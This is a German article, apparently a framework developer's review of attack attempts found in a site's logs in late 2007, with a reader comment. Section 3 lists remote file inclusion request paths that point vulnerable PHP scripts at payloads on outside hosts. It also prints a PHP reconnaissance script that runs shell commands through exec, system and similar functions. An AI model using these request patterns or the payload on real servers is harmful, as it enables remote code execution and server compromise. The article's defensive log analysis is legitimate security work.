Hacking & das Adventure-PHP-Framework

Artikel bewerten:
Dieser Artikel wurde noch nicht bewertet. Bewerten Sie diesen Artikel als erstes!

1. Rückblick

Blickt man auf die letzten 3 Monate des Jahres 2007 zurück, so wurde vermehrt der Versuche unternommen mit geziehlten Requests Schwachstellen der eingesetzten Software auszunutzen um so an wichtige Informationen über die Software, den Server oder Benutzerdaten zu gelangen. Eine Auswertung der Logfiles des genannten Zeitraums zeigt, dass im vergangenen Quartal über 2500 XSS-Angriffe zu verzeichnen waren. Davon führten 353 Anfragen zu Applikationsfehlern. Eine vollständige Auswertung der Logfiles findet sich unter http_hacks_2008_01_07.txt.


2. Sicherheit & das Adventure-PHP-Framework

Betrachtet man die aufgeführten Applikationsfehler genauer, stellt man fest, dass diese keine Fehler im Sinne eines Bufferoverflows oder einer Schwachstelle sind, sondern Fehlermeldungen, die von den Framework-Komponenten im Fehlerfall geziehlt ausgelöst werden. Von den genannten 353 Fehlern führten daher genau 0 Anfragen zu einem erfolgreichen Kompromittieren der Seite und den darauf befindlichen Applikationen.

Gründe dafür liegen in der Architektur des Frameworks und der betriebenen Software:

3. Beispiele für Angriffe

Hinter den Angriffen steckt zumeist der Versuch, PHP-Code in eine verwundbare Seiten einzuschläusen und auszuführen um Informationen über den Server, die eingesetzter Software und evtl. Benutzerdaten zu erlangen. In manchen dieser Skripte wird zudem versucht ein Programm auf dem Ziel-Server zu installieren.

Die folgende Code-Box zeigt eine Auswahl der beschriebenen Angriffe und erlätert anschließend die Funktion an Hand eines Beispiels.
/myevent.php?myevent_path=http://countryangelz.com/counter/var/safeon.txt??

/admin/addentry.php?phpbb_root_path=http://intranet.stantonmortgage.com/modules/admin/bersama/doc.txt?

/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=http://www.nortek.helloweb.eu/contr.txt?

/forum.php?cfg_file=1&fpath=http://www.donagro.ru/files/images/search4.gif???

/include.php?p4a_root_dir=http://www.lacs.de/NgL??

/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=http://www.apnic.net/index.html?

/content.php?seite=http://casts.150m.com/expo/expo1?

/includes/function.php?root_path=http://www.cervo.com/public/r57.txt???

/index.php?pager=http://201.37.71.117:8090/cmd.txt??
Der nachfolgend aufgeführte PHP-Code zeigt ein Script, das Informationen über einen Server ausliest und ausgibt. Aus Sicherheitsgründen und zum Schutz vor Trittbrettfahrer wurde ein ungefährliches Beispiel gewählt.
$dir = @getcwd();
echo 
"S4M3K<br>";
$OS = @PHP_uname();
echo 
"OSTYPE:$OS<br>";
$free disk_free_space($dir);

if (
$free === FALSE) {$free 0;}

if (
$free 0) {$free 0;}
echo 
"Free:".view_size($free)."<br>";

$cmd="id";
$eseguicmd=ex($cmd);
echo 
$eseguicmd;

function 
ex($cfe){
$res '';
if (!empty(
$cfe)){
if(
function_exists('exec')){
@
exec($cfe,$res);
$res join("\n",$res);
}
elseif(
function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(
function_exists('system')){
@
ob_start();
@
system($cfe);
$res = @ob_get_contents();
@
ob_end_clean();
}
elseif(
function_exists('passthru')){
@
ob_start();
@
passthru($cfe);
$res = @ob_get_contents();
@
ob_end_clean();
}
elseif(@
is_resource($f = @popen($cfe,"r"))){
$res "";
while(!@
feof($f)) { $res .= @fread($f,1024); }
@
pclose($f);
}}
return 
$res;
}

function 
view_size($size)

{

if (!
is_numeric($size)) {return FALSE;}

else

{

if (
$size >= 1073741824) {$size round($size/1073741824*100)/100 ." GB";}

elseif (
$size >= 1048576) {$size round($size/1048576*100)/100 ." MB";}

elseif (
$size >= 1024) {$size round($size/1024*100)/100 ." KB";}

else {
$size $size " B";}

return 
$size;

}}

exit; 
Analysiert man den Orginalquelltext, so sind darin zunächst zwei Funktionsdefinitionen enthalten: ex() und view_size(). Diese werden benötigt um Shellbefehle auszuführen bzw. freie Festplattenressourcen anzuzeigen. Die Funktion des Quellcodes besteht im Grunde darin, einen Kenner in den Quelltext zu implantieren, der später abgefragt werden kann (S4M3K), den noch freien Plattenplatz anzuzeigen (disk_free_space()) und herauszufinden, unter welchem Benutzer der Webserver betrieben wird. Da hier auf das UNIX/LINUX- Systemprogramm id zurückgegriffen wird funktioniert dies nur unter UNIX/LINUX- Betriebssystemen, in denen die Funktionen exec(), shell_exec() und system() nicht deaktiviert sind.

Aus den gewonnenen Informationen kann der Angreifer dann schließen, wo Programme installiert werden können, oder ob das installierte System bekannte Schwachstellen besitzt, die mit bekannten Exploits ausgenutzt werden können.


4. Recherche

Einige der aufgerufenen URLs deuten auf den Versuch hin, bekannte Schwachstellen in verbreiteten PHP-Applikationen auszunutzen um Schaden anzurichten. Sucht man nach Schlüsselwörtern, die in den oben aufgeführten Request-URLS auftauchen, so findet man Software-Komponenten wie myEvent, PHP-Nuke, Joomla und PHPBB:

Kommentare

Möchten Sie den Artikel eine Anmerkung hinzufügen, oder haben Sie ergänzende Hinweise? Dann können Sie diese hier einfügen. Die bereits verfassten Anmerkungen und Kommentare finden Sie in der untenstehenden Liste.

«   1   »
Einträge/Seite: | 5 | 10 | 15 | 20 |

1 Christian
15.01.2008, 21:11:23
Weitere Betrachtungen sind um Forum unter http://forum.adventure-php-framework.org/de/viewtopic.php?f=5&t=21 verfügbar.